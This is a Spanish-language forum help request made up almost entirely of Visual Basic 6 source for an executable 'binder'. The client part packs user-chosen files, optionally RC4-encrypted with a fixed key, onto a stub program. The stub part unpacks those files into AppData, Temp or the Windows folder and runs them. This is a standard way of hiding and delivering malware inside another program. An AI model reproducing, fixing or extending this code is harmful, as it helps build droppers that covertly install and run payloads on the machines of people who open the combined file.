si alguien podria ayudarme se lo agradecesia mucho.
Este es el codigo del CLIENTE
Código: Seleccionar todo
Private Sub agregar_Click()
With CD
.DialogTitle = "Seleciones el archivo para ajuntar"
.Filter = "Todos los archivos |*.*"
.ShowOpen
End With
If CD.FileName = "" Then Exit Sub
With lista.ListItems.Add(, , CD.FileName)
.SubItems(1) = "AppData"
Dim box As String
box = InputBox("indique el nombre del Archivo y extension", Me.Caption, "Archivo.exe")
.SubItems(2) = box
.SubItems(3) = "si"
.SubItems(4) = "no"
End With
End Sub
Private Sub AppData_Click()
lista.SelectedItem.SubItems(1) = "AppData"
End Sub
Private Sub eliminar_Click()
On Error Resume Next
lista.ListItems.Remove (lista.SelectedItem.Index)
End Sub
Private Sub eliminartodo_Click()
On Error Resume Next
lista.ListItems.Clear
End Sub
Private Sub juntar_Click()
With CD
.DialogTitle = "Seleccione Where save"
.Filter = "Aplicaciones EXE|*.exe"
.ShowSave
End With
If CD.FileName = "" Then Exit Sub
Open App.Path & "\" & "stub.exe" For Binary As #1
Dim stub As String
stub = Space(LOF(1))
Get #1, , stub
Close #1
For i = 1 To lista.ListItems.Count
Open lista.ListItems(i).Text For Binary As #1
Dim bin As String
bin = Space(LOF(1))
Get #1, , bin
Close #1
If lista.ListItems(i).SubItems(4) = "Si" Then
Dim xrc4 As New clsRC4
bin = xrc4.EncryptString(bin, "henry")
Else
bin = bin
End If
Dim meter As String
meter = meter & "mantenimientoexpress[$].org" & bin & "mantenimientoexpress[$].net" & lista.ListItems(i).SubItems(1) & "mantenimientoexpress[$].net" & lista.ListItems(i).SubItems(2) & "mantenimientoexpress[$].net" & lista.ListItems(i).SubItems(3) & "mantenimientoexpress[$].net" & lista.ListItems(i).SubItems(4)
Next i
Open CD.FileName For Binary As #1
Put 1#, , stub
Put 1#, , meter
Close 1#
End Sub
Private Sub lista_MouseDown(Button As Integer, Shift As Integer, x As Single, y As Single)
If Button = 2 Then PopupMenu menu
End Sub
Private Sub memodrive_Click()
lista.SelectedItem.SubItems(1) = "Memory Drive"
End Sub
Private Sub no_Click()
lista.SelectedItem.SubItems(3) = "No"
End Sub
Private Sub noen_Click()
lista.SelectedItem.SubItems(4) = "No"
End Sub
Private Sub si_Click()
lista.SelectedItem.SubItems(3) = "Si"
End Sub
Private Sub sien_Click()
lista.SelectedItem.SubItems(4) = "Si"
End Sub
Private Sub tem_Click()
lista.SelectedItem.SubItems(1) = "Temp"
End Sub
Private Sub windir_Click()
lista.SelectedItem.SubItems(1) = "WinDir"
End Sub
Código: Seleccionar todo
Private Declare Function ExecuteA Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lPoperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Sub Main()
Dim stub As String, delimitador1() As String, delimitador2() As String
Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1
stub = Space(LOF(1))
Get #1, , stub
Close #1
delimitador1() = Split(stub, "mantenimientoexpress[$].org")
For i = 1 To UBound(delimitador1)
delimitador2() = Split(delimitador1(i), "mantenimientoexpress[$].net")
Dim archivos As String
archivos = delimitador2(0)
Dim extraer As String
extraer = delimitador2(1)
Dim nombre As String
nombre = delimitador2(2)
Dim ejecutar As String
ejecutar = delimitador2(3)
Dim encryptar As String
encryptar = delimitador2(4)
If encryptar = "Si" Then
Dim xrc4 As New clsRC4
archivos = xrc4.DecryptString(archivos, "henry")
Else
archivos = archivos
End If
Open Environ(extraer) & "\" & nombre For Binary As #1
Put #1, , archivos
Close #1
If ejecutar = "Si" Then
ExecuteA 0, vbNullString, Environ(extraer) & "\" & nombre, vbNullString, vbNullString, 1
Else
End If
Next i
End Sub